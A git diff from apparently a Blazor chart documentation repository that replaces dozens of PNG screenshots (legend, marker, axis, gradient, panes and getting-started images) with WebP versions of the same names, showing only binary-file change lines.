diff --git a/blazor/chart/images/getting-started/blazor-project-configuration.png b/blazor/chart/images/getting-started/blazor-project-configuration.png
deleted file mode 100644
index 069f5ec05c..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-project-configuration.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-project-configuration.webp b/blazor/chart/images/getting-started/blazor-project-configuration.webp
new file mode 100644
index 0000000000..4dd104e024
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-project-configuration.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-select-template.png b/blazor/chart/images/getting-started/blazor-select-template.png
deleted file mode 100644
index 23d248b430..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-select-template.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-select-template.webp b/blazor/chart/images/getting-started/blazor-select-template.webp
new file mode 100644
index 0000000000..89e13a681f
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-select-template.webp differ
diff --git a/blazor/chart/images/getting-started/blazor-webassembly-app.png b/blazor/chart/images/getting-started/blazor-webassembly-app.png
deleted file mode 100644
index 72d2809711..0000000000
Binary files a/blazor/chart/images/getting-started/blazor-webassembly-app.png and /dev/null differ
diff --git a/blazor/chart/images/getting-started/blazor-webassembly-app.webp b/blazor/chart/images/getting-started/blazor-webassembly-app.webp
new file mode 100644
index 0000000000..c217219d96
Binary files /dev/null and b/blazor/chart/images/getting-started/blazor-webassembly-app.webp differ
diff --git a/blazor/chart/images/gradient/blazor-candle-chart-exponential-moving-average-linear-gradient.png b/blazor/chart/images/gradient/blazor-candle-chart-exponential-moving-average-linear-gradient.png
deleted file mode 100644
index 9df78ab8f9..0000000000
Binary files a/blazor/chart/images/gradient/blazor-candle-chart-exponential-moving-average-linear-gradient.png and /dev/null differ
diff --git a/blazor/chart/images/gradient/blazor-candle-chart-exponential-moving-average-linear-gradient.webp b/blazor/chart/images/gradient/blazor-candle-chart-exponential-moving-average-linear-gradient.webp
new file mode 100644
index 0000000000..568bdb1c60
Binary files /dev/null and b/blazor/chart/images/gradient/blazor-candle-chart-exponential-moving-average-linear-gradient.webp differ
diff --git a/blazor/chart/images/gradient/blazor-column-chart-linear-gradient.png b/blazor/chart/images/gradient/blazor-column-chart-linear-gradient.png
deleted file mode 100644
index 1bf1f8a744..0000000000
Binary files a/blazor/chart/images/gradient/blazor-column-chart-linear-gradient.png and /dev/null differ
diff --git a/blazor/chart/images/gradient/blazor-column-chart-linear-gradient.webp b/blazor/chart/images/gradient/blazor-column-chart-linear-gradient.webp
new file mode 100644
index 0000000000..62d7521bca
Binary files /dev/null and b/blazor/chart/images/gradient/blazor-column-chart-linear-gradient.webp differ
diff --git a/blazor/chart/images/gradient/blazor-column-chart-radial-gradient.png b/blazor/chart/images/gradient/blazor-column-chart-radial-gradient.png
deleted file mode 100644
index eca1ea288a..0000000000
Binary files a/blazor/chart/images/gradient/blazor-column-chart-radial-gradient.png and /dev/null differ
diff --git a/blazor/chart/images/gradient/blazor-column-chart-radial-gradient.webp b/blazor/chart/images/gradient/blazor-column-chart-radial-gradient.webp
new file mode 100644
index 0000000000..90176b6ec4
Binary files /dev/null and b/blazor/chart/images/gradient/blazor-column-chart-radial-gradient.webp differ
diff --git a/blazor/chart/images/gradient/blazor-spline-chart-linear-trendlines-linear-gradient.png b/blazor/chart/images/gradient/blazor-spline-chart-linear-trendlines-linear-gradient.png
deleted file mode 100644
index 418206b197..0000000000
Binary files a/blazor/chart/images/gradient/blazor-spline-chart-linear-trendlines-linear-gradient.png and /dev/null differ
diff --git a/blazor/chart/images/gradient/blazor-spline-chart-linear-trendlines-linear-gradient.webp b/blazor/chart/images/gradient/blazor-spline-chart-linear-trendlines-linear-gradient.webp
new file mode 100644
index 0000000000..bacfcfe18f
Binary files /dev/null and b/blazor/chart/images/gradient/blazor-spline-chart-linear-trendlines-linear-gradient.webp differ
diff --git a/blazor/chart/images/import-cdn.png b/blazor/chart/images/import-cdn.png
deleted file mode 100644
index 6068aeb265..0000000000
Binary files a/blazor/chart/images/import-cdn.png and /dev/null differ
diff --git a/blazor/chart/images/import-cdn.webp b/blazor/chart/images/import-cdn.webp
new file mode 100644
index 0000000000..8fdea7d1f7
Binary files /dev/null and b/blazor/chart/images/import-cdn.webp differ
diff --git a/blazor/chart/images/last-value/blazor-column-chart-last-value-label-customization.png b/blazor/chart/images/last-value/blazor-column-chart-last-value-label-customization.png
deleted file mode 100644
index 3ac1a84b76..0000000000
Binary files a/blazor/chart/images/last-value/blazor-column-chart-last-value-label-customization.png and /dev/null differ
diff --git a/blazor/chart/images/last-value/blazor-column-chart-last-value-label-customization.webp b/blazor/chart/images/last-value/blazor-column-chart-last-value-label-customization.webp
new file mode 100644
index 0000000000..b4b6219605
Binary files /dev/null and b/blazor/chart/images/last-value/blazor-column-chart-last-value-label-customization.webp differ
diff --git a/blazor/chart/images/last-value/blazor-column-chart-last-value-label.png b/blazor/chart/images/last-value/blazor-column-chart-last-value-label.png
deleted file mode 100644
index e1891ecc32..0000000000
Binary files a/blazor/chart/images/last-value/blazor-column-chart-last-value-label.png and /dev/null differ
diff --git a/blazor/chart/images/last-value/blazor-column-chart-last-value-label.webp b/blazor/chart/images/last-value/blazor-column-chart-last-value-label.webp
new file mode 100644
index 0000000000..0a3d266bf6
Binary files /dev/null and b/blazor/chart/images/last-value/blazor-column-chart-last-value-label.webp differ
diff --git a/blazor/chart/images/lazyload-column.png b/blazor/chart/images/lazyload-column.png
deleted file mode 100644
index 966afcf981..0000000000
Binary files a/blazor/chart/images/lazyload-column.png and /dev/null differ
diff --git a/blazor/chart/images/lazyload-column.webp b/blazor/chart/images/lazyload-column.webp
new file mode 100644
index 0000000000..b26662bf5b
Binary files /dev/null and b/blazor/chart/images/lazyload-column.webp differ
diff --git a/blazor/chart/images/lazyload-line.png b/blazor/chart/images/lazyload-line.png
deleted file mode 100644
index 6061cd33de..0000000000
Binary files a/blazor/chart/images/lazyload-line.png and /dev/null differ
diff --git a/blazor/chart/images/lazyload-line.webp b/blazor/chart/images/lazyload-line.webp
new file mode 100644
index 0000000000..c802fef13c
Binary files /dev/null and b/blazor/chart/images/lazyload-line.webp differ
diff --git a/blazor/chart/images/legend/blazor-chart-legend-wrap.png b/blazor/chart/images/legend/blazor-chart-legend-wrap.png
deleted file mode 100644
index 6b4a33a525..0000000000
Binary files a/blazor/chart/images/legend/blazor-chart-legend-wrap.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-chart-legend-wrap.webp b/blazor/chart/images/legend/blazor-chart-legend-wrap.webp
new file mode 100644
index 0000000000..2ba772ad47
Binary files /dev/null and b/blazor/chart/images/legend/blazor-chart-legend-wrap.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-custom-legend-shape-size.png b/blazor/chart/images/legend/blazor-column-chart-custom-legend-shape-size.png
deleted file mode 100644
index 3a4a5629dc..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-custom-legend-shape-size.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-custom-legend-shape-size.webp b/blazor/chart/images/legend/blazor-column-chart-custom-legend-shape-size.webp
new file mode 100644
index 0000000000..cfc3763d6c
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-custom-legend-shape-size.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-hide-legend-item.png b/blazor/chart/images/legend/blazor-column-chart-hide-legend-item.png
deleted file mode 100644
index 30201fca0f..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-hide-legend-item.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-hide-legend-item.webp b/blazor/chart/images/legend/blazor-column-chart-hide-legend-item.webp
new file mode 100644
index 0000000000..7649df0f84
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-hide-legend-item.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-alignment-position.png b/blazor/chart/images/legend/blazor-column-chart-legend-alignment-position.png
deleted file mode 100644
index 1e118e5a14..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend-alignment-position.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-alignment-position.webp b/blazor/chart/images/legend/blazor-column-chart-legend-alignment-position.webp
new file mode 100644
index 0000000000..e6d1da628d
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend-alignment-position.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-custom-size.png b/blazor/chart/images/legend/blazor-column-chart-legend-custom-size.png
deleted file mode 100644
index b6d9213474..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend-custom-size.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-custom-size.webp b/blazor/chart/images/legend/blazor-column-chart-legend-custom-size.webp
new file mode 100644
index 0000000000..5821aaa1c5
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend-custom-size.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-in-custom-position.png b/blazor/chart/images/legend/blazor-column-chart-legend-in-custom-position.png
deleted file mode 100644
index b559ee830a..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend-in-custom-position.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-in-custom-position.webp b/blazor/chart/images/legend/blazor-column-chart-legend-in-custom-position.webp
new file mode 100644
index 0000000000..6c36b241fa
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend-in-custom-position.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-item-padding.png b/blazor/chart/images/legend/blazor-column-chart-legend-item-padding.png
deleted file mode 100644
index 9362c4b29b..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend-item-padding.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-item-padding.webp b/blazor/chart/images/legend/blazor-column-chart-legend-item-padding.webp
new file mode 100644
index 0000000000..021d0378a3
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend-item-padding.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-paging.png b/blazor/chart/images/legend/blazor-column-chart-legend-paging.png
deleted file mode 100644
index d79efc1c89..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend-paging.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-paging.webp b/blazor/chart/images/legend/blazor-column-chart-legend-paging.webp
new file mode 100644
index 0000000000..7d4b0c912b
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend-paging.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-position.png b/blazor/chart/images/legend/blazor-column-chart-legend-position.png
deleted file mode 100644
index aeb385c464..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend-position.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-position.webp b/blazor/chart/images/legend/blazor-column-chart-legend-position.webp
new file mode 100644
index 0000000000..ecd2e9936d
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend-position.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-reverse.png b/blazor/chart/images/legend/blazor-column-chart-legend-reverse.png
deleted file mode 100644
index c099838e0d..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend-reverse.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-reverse.webp b/blazor/chart/images/legend/blazor-column-chart-legend-reverse.webp
new file mode 100644
index 0000000000..d96a8711ef
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend-reverse.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-series-selection.png b/blazor/chart/images/legend/blazor-column-chart-legend-series-selection.png
deleted file mode 100644
index 6ab464f0f8..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend-series-selection.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-series-selection.webp b/blazor/chart/images/legend/blazor-column-chart-legend-series-selection.webp
new file mode 100644
index 0000000000..7fc8822e80
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend-series-selection.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-shape.png b/blazor/chart/images/legend/blazor-column-chart-legend-shape.png
deleted file mode 100644
index 21ef57f6c4..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend-shape.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-shape.webp b/blazor/chart/images/legend/blazor-column-chart-legend-shape.webp
new file mode 100644
index 0000000000..69bdf295c2
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend-shape.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-template.png b/blazor/chart/images/legend/blazor-column-chart-legend-template.png
deleted file mode 100644
index 37c39a29ff..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend-template.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend-template.webp b/blazor/chart/images/legend/blazor-column-chart-legend-template.webp
new file mode 100644
index 0000000000..e322a77cef
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend-template.webp differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend.png b/blazor/chart/images/legend/blazor-column-chart-legend.png
deleted file mode 100644
index e850fbed82..0000000000
Binary files a/blazor/chart/images/legend/blazor-column-chart-legend.png and /dev/null differ
diff --git a/blazor/chart/images/legend/blazor-column-chart-legend.webp b/blazor/chart/images/legend/blazor-column-chart-legend.webp
new file mode 100644
index 0000000000..933c417b0c
Binary files /dev/null and b/blazor/chart/images/legend/blazor-column-chart-legend.webp differ
diff --git a/blazor/chart/images/localization.png b/blazor/chart/images/localization.png
deleted file mode 100644
index 9787d98b83..0000000000
Binary files a/blazor/chart/images/localization.png and /dev/null differ
diff --git a/blazor/chart/images/localization.webp b/blazor/chart/images/localization.webp
new file mode 100644
index 0000000000..b3e3fdcb04
Binary files /dev/null and b/blazor/chart/images/localization.webp differ
diff --git a/blazor/chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.png b/blazor/chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.png
deleted file mode 100644
index 88c56eebfc..0000000000
Binary files a/blazor/chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.png and /dev/null differ
diff --git a/blazor/chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.webp b/blazor/chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.webp
new file mode 100644
index 0000000000..825dff40c0
Binary files /dev/null and b/blazor/chart/images/logarithmic-axis/blazor-chart-logarithmic-axis.webp differ
diff --git a/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-based-on-range.png b/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-based-on-range.png
deleted file mode 100644
index aaec140643..0000000000
Binary files a/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-based-on-range.png and /dev/null differ
diff --git a/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-based-on-range.webp b/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-based-on-range.webp
new file mode 100644
index 0000000000..66af6ab8f2
Binary files /dev/null and b/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-based-on-range.webp differ
diff --git a/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-custom-label-format.png b/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-custom-label-format.png
deleted file mode 100644
index 5f3edceb49..0000000000
Binary files a/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-custom-label-format.png and /dev/null differ
diff --git a/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-custom-label-format.webp b/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-custom-label-format.webp
new file mode 100644
index 0000000000..38f0e3c434
Binary files /dev/null and b/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-custom-label-format.webp differ
diff --git a/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-with-label-format.png b/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-with-label-format.png
deleted file mode 100644
index bb9465a901..0000000000
Binary files a/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-with-label-format.png and /dev/null differ
diff --git a/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-with-label-format.webp b/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-with-label-format.webp
new file mode 100644
index 0000000000..44cfc556d8
Binary files /dev/null and b/blazor/chart/images/logarithmic-axis/blazor-line-chart-axis-with-label-format.webp differ
diff --git a/blazor/chart/images/logarithmic-axis/blazor-line-chart-logarithmic-axis-with-base.png b/blazor/chart/images/logarithmic-axis/blazor-line-chart-logarithmic-axis-with-base.png
deleted file mode 100644
index 410929884f..0000000000
Binary files a/blazor/chart/images/logarithmic-axis/blazor-line-chart-logarithmic-axis-with-base.png and /dev/null differ
diff --git a/blazor/chart/images/logarithmic-axis/blazor-line-chart-logarithmic-axis-with-base.webp b/blazor/chart/images/logarithmic-axis/blazor-line-chart-logarithmic-axis-with-base.webp
new file mode 100644
index 0000000000..6963a1e318
Binary files /dev/null and b/blazor/chart/images/logarithmic-axis/blazor-line-chart-logarithmic-axis-with-base.webp differ
diff --git a/blazor/chart/images/logarithmic-axis/interval.png b/blazor/chart/images/logarithmic-axis/interval.png
deleted file mode 100644
index 42375e0ca6..0000000000
Binary files a/blazor/chart/images/logarithmic-axis/interval.png and /dev/null differ
diff --git a/blazor/chart/images/logarithmic-axis/interval.webp b/blazor/chart/images/logarithmic-axis/interval.webp
new file mode 100644
index 0000000000..3679f3a0e1
Binary files /dev/null and b/blazor/chart/images/logarithmic-axis/interval.webp differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-custom-marker.png b/blazor/chart/images/marker/blazor-line-chart-custom-marker.png
deleted file mode 100644
index 0f0fe363ed..0000000000
Binary files a/blazor/chart/images/marker/blazor-line-chart-custom-marker.png and /dev/null differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-custom-marker.webp b/blazor/chart/images/marker/blazor-line-chart-custom-marker.webp
new file mode 100644
index 0000000000..76fb112d18
Binary files /dev/null and b/blazor/chart/images/marker/blazor-line-chart-custom-marker.webp differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-data-marker.png b/blazor/chart/images/marker/blazor-line-chart-data-marker.png
deleted file mode 100644
index 5b707d5e2c..0000000000
Binary files a/blazor/chart/images/marker/blazor-line-chart-data-marker.png and /dev/null differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-data-marker.webp b/blazor/chart/images/marker/blazor-line-chart-data-marker.webp
new file mode 100644
index 0000000000..79731aa00a
Binary files /dev/null and b/blazor/chart/images/marker/blazor-line-chart-data-marker.webp differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-diamond-marker.png b/blazor/chart/images/marker/blazor-line-chart-diamond-marker.png
deleted file mode 100644
index 089f1ad86a..0000000000
Binary files a/blazor/chart/images/marker/blazor-line-chart-diamond-marker.png and /dev/null differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-diamond-marker.webp b/blazor/chart/images/marker/blazor-line-chart-diamond-marker.webp
new file mode 100644
index 0000000000..ec8864f3ac
Binary files /dev/null and b/blazor/chart/images/marker/blazor-line-chart-diamond-marker.webp differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-filled-marker.png b/blazor/chart/images/marker/blazor-line-chart-filled-marker.png
deleted file mode 100644
index 66d0316562..0000000000
Binary files a/blazor/chart/images/marker/blazor-line-chart-filled-marker.png and /dev/null differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-filled-marker.webp b/blazor/chart/images/marker/blazor-line-chart-filled-marker.webp
new file mode 100644
index 0000000000..c838d6cb34
Binary files /dev/null and b/blazor/chart/images/marker/blazor-line-chart-filled-marker.webp differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-image-marker.png b/blazor/chart/images/marker/blazor-line-chart-image-marker.png
deleted file mode 100644
index 9188d4291f..0000000000
Binary files a/blazor/chart/images/marker/blazor-line-chart-image-marker.png and /dev/null differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-image-marker.webp b/blazor/chart/images/marker/blazor-line-chart-image-marker.webp
new file mode 100644
index 0000000000..056a135edc
Binary files /dev/null and b/blazor/chart/images/marker/blazor-line-chart-image-marker.webp differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-marker-filled.png b/blazor/chart/images/marker/blazor-line-chart-marker-filled.png
deleted file mode 100644
index 576ff7d7ab..0000000000
Binary files a/blazor/chart/images/marker/blazor-line-chart-marker-filled.png and /dev/null differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-marker-filled.webp b/blazor/chart/images/marker/blazor-line-chart-marker-filled.webp
new file mode 100644
index 0000000000..cc933a0203
Binary files /dev/null and b/blazor/chart/images/marker/blazor-line-chart-marker-filled.webp differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-with-different-marker.png b/blazor/chart/images/marker/blazor-line-chart-with-different-marker.png
deleted file mode 100644
index 5f528634a6..0000000000
Binary files a/blazor/chart/images/marker/blazor-line-chart-with-different-marker.png and /dev/null differ
diff --git a/blazor/chart/images/marker/blazor-line-chart-with-different-marker.webp b/blazor/chart/images/marker/blazor-line-chart-with-different-marker.webp
new file mode 100644
index 0000000000..bcb44fa7f1
Binary files /dev/null and b/blazor/chart/images/marker/blazor-line-chart-with-different-marker.webp differ
diff --git a/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.png b/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.png
deleted file mode 100644
index 8356d12ea1..0000000000
Binary files a/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.png and /dev/null differ
diff --git a/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.webp b/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.webp
new file mode 100644
index 0000000000..542c7ca5c4
Binary files /dev/null and b/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column-span.webp differ
diff --git a/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.png b/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.png
deleted file mode 100644
index c72bf5ab34..0000000000
Binary files a/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.png and /dev/null differ
diff --git a/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.webp b/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.webp
new file mode 100644
index 0000000000..908d8b73d9
Binary files /dev/null and b/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-column.webp differ
diff --git a/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.png b/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.png
deleted file mode 100644
index 305ff757ea..0000000000
Binary files a/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.png and /dev/null differ
diff --git a/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.webp b/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.webp
new file mode 100644
index 0000000000..5a3c0c8bae
Binary files /dev/null and b/blazor/chart/images/multiple-panes/blazor-chart-multiple-panes-with-rows.webp differ
diff --git a/blazor/chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.png b/blazor/chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.png
deleted file mode 100644
index a87b577770..0000000000
Binary files a/blazor/chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.png and /dev/null differ
diff --git a/blazor/chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.webp b/blazor/chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.webp
new file mode 100644
index 0000000000..3ba686c2e0
Binary files /dev/null and b/blazor/chart/images/multiple-panes/blazor-chart-multiple-span-with-rows-span.webp differ
diff --git a/blazor/chart/images/multiple-series/blazor-chart-combination.png b/blazor/chart/images/multiple-series/blazor-chart-combination.png
deleted file mode 100644
index aa7ed0c129..0000000000
Binary files a/blazor/chart/images/multiple-series/blazor-chart-combination.png and /dev/null differ
diff --git a/blazor/chart/images/multiple-series/blazor-chart-combination.webp b/blazor/chart/images/multiple-series/blazor-chart-combination.webp
new file mode 100644
index 0000000000..8d9fb1ba73
Binary files /dev/null and b/blazor/chart/images/multiple-series/blazor-chart-combination.webp differ
diff --git a/blazor/chart/images/multiple-series/blazor-column-chart-multiple-series.png b/blazor/chart/images/multiple-series/blazor-column-chart-multiple-series.png
deleted file mode 100644
index a0b9ea69ac..0000000000
Binary files a/blazor/chart/images/multiple-series/blazor-column-chart-multiple-series.png and /dev/null differ
diff --git a/blazor/chart/images/multiple-series/blazor-column-chart-multiple-series.webp b/blazor/chart/images/multiple-series/blazor-column-chart-multiple-series.webp
new file mode 100644
index 0000000000..04519c14d4
Binary files /dev/null and b/blazor/chart/images/multiple-series/blazor-column-chart-multiple-series.webp differ
diff --git a/blazor/chart/images/new-project.png b/blazor/chart/images/new-project.png
deleted file mode 100644
index 7aa4825993..0000000000
Binary files a/blazor/chart/images/new-project.png and /dev/null differ
diff --git a/blazor/chart/images/new-project.webp b/blazor/chart/images/new-project.webp
new file mode 100644
index 0000000000..8730448b0c
Binary files /dev/null and b/blazor/chart/images/new-project.webp differ
diff --git a/blazor/chart/images/new-project1.png b/blazor/chart/images/new-project1.png
deleted file mode 100644
index 15917ed4c4..0000000000
Binary files a/blazor/chart/images/new-project1.png and /dev/null differ
diff --git a/blazor/chart/images/new-project1.webp b/blazor/chart/images/new-project1.webp
new file mode 100644
index 0000000000..c5e3548342
Binary files /dev/null and b/blazor/chart/images/new-project1.webp differ
diff --git a/blazor/chart/images/new-project2.png b/blazor/chart/images/new-project2.png
deleted file mode 100644
index a377953995..0000000000
Binary files a/blazor/chart/images/new-project2.png and /dev/null differ
diff --git a/blazor/chart/images/new-project2.webp b/blazor/chart/images/new-project2.webp
new file mode 100644
index 0000000000..8d588157a5
Binary files /dev/null and b/blazor/chart/images/new-project2.webp differ
diff --git a/blazor/chart/images/new-project3.png b/blazor/chart/images/new-project3.png
deleted file mode 100644
index abb07341e2..0000000000
Binary files a/blazor/chart/images/new-project3.png and /dev/null differ
diff --git a/blazor/chart/images/new-project3.webp b/blazor/chart/images/new-project3.webp
new file mode 100644
index 0000000000..bf199d2e97
Binary files /dev/null and b/blazor/chart/images/new-project3.webp differ
diff --git a/blazor/chart/images/new-project4.png b/blazor/chart/images/new-project4.png
deleted file mode 100644
index e779c4babb..0000000000
Binary files a/blazor/chart/images/new-project4.png and /dev/null differ
diff --git a/blazor/chart/images/new-project4.webp b/blazor/chart/images/new-project4.webp
new file mode 100644
index 0000000000..489af36504
Binary files /dev/null and b/blazor/chart/images/new-project4.webp differ
diff --git a/blazor/chart/images/nuget-explorer.png b/blazor/chart/images/nuget-explorer.png
deleted file mode 100644
index a7abccf731..0000000000
Binary files a/blazor/chart/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/chart/images/nuget-explorer.webp b/blazor/chart/images/nuget-explorer.webp
new file mode 100644
index 0000000000..dedfe67a6a
Binary files /dev/null and b/blazor/chart/images/nuget-explorer.webp differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-additional-range-padding.png b/blazor/chart/images/numeric-axis/blazor-line-chart-additional-range-padding.png
deleted file mode 100644
index 776e555acf..0000000000
Binary files a/blazor/chart/images/numeric-axis/blazor-line-chart-additional-range-padding.png and /dev/null differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-additional-range-padding.webp b/blazor/chart/images/numeric-axis/blazor-line-chart-additional-range-padding.webp
new file mode 100644
index 0000000000..5d412926f9
Binary files /dev/null and b/blazor/chart/images/numeric-axis/blazor-line-chart-additional-range-padding.webp differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-auto-rangepadding.png b/blazor/chart/images/numeric-axis/blazor-line-chart-auto-rangepadding.png
deleted file mode 100644
index aac756cd04..0000000000
Binary files a/blazor/chart/images/numeric-axis/blazor-line-chart-auto-rangepadding.png and /dev/null differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-auto-rangepadding.webp b/blazor/chart/images/numeric-axis/blazor-line-chart-auto-rangepadding.webp
new file mode 100644
index 0000000000..87dffb0935
Binary files /dev/null and b/blazor/chart/images/numeric-axis/blazor-line-chart-auto-rangepadding.webp differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-axis-range.png b/blazor/chart/images/numeric-axis/blazor-line-chart-axis-range.png
deleted file mode 100644
index 6ed2591b8d..0000000000
Binary files a/blazor/chart/images/numeric-axis/blazor-line-chart-axis-range.png and /dev/null differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-axis-range.webp b/blazor/chart/images/numeric-axis/blazor-line-chart-axis-range.webp
new file mode 100644
index 0000000000..586b739011
Binary files /dev/null and b/blazor/chart/images/numeric-axis/blazor-line-chart-axis-range.webp differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-custom-label-format.png b/blazor/chart/images/numeric-axis/blazor-line-chart-custom-label-format.png
deleted file mode 100644
index b41807a804..0000000000
Binary files a/blazor/chart/images/numeric-axis/blazor-line-chart-custom-label-format.png and /dev/null differ
diff --git a/blazor/chart/images/numeric-axis/blazor-line-chart-custom-label-format.webp b/blazor/chart/images/numeric-axis/blazor-line-chart-custom-label-format.webp
new file mode 100644
index 0000000000..9623e6cc07
Binary files /dev/null and b/blazor/chart/images/numeric-axis/blazor-line-chart-custom-label-format.webp differ
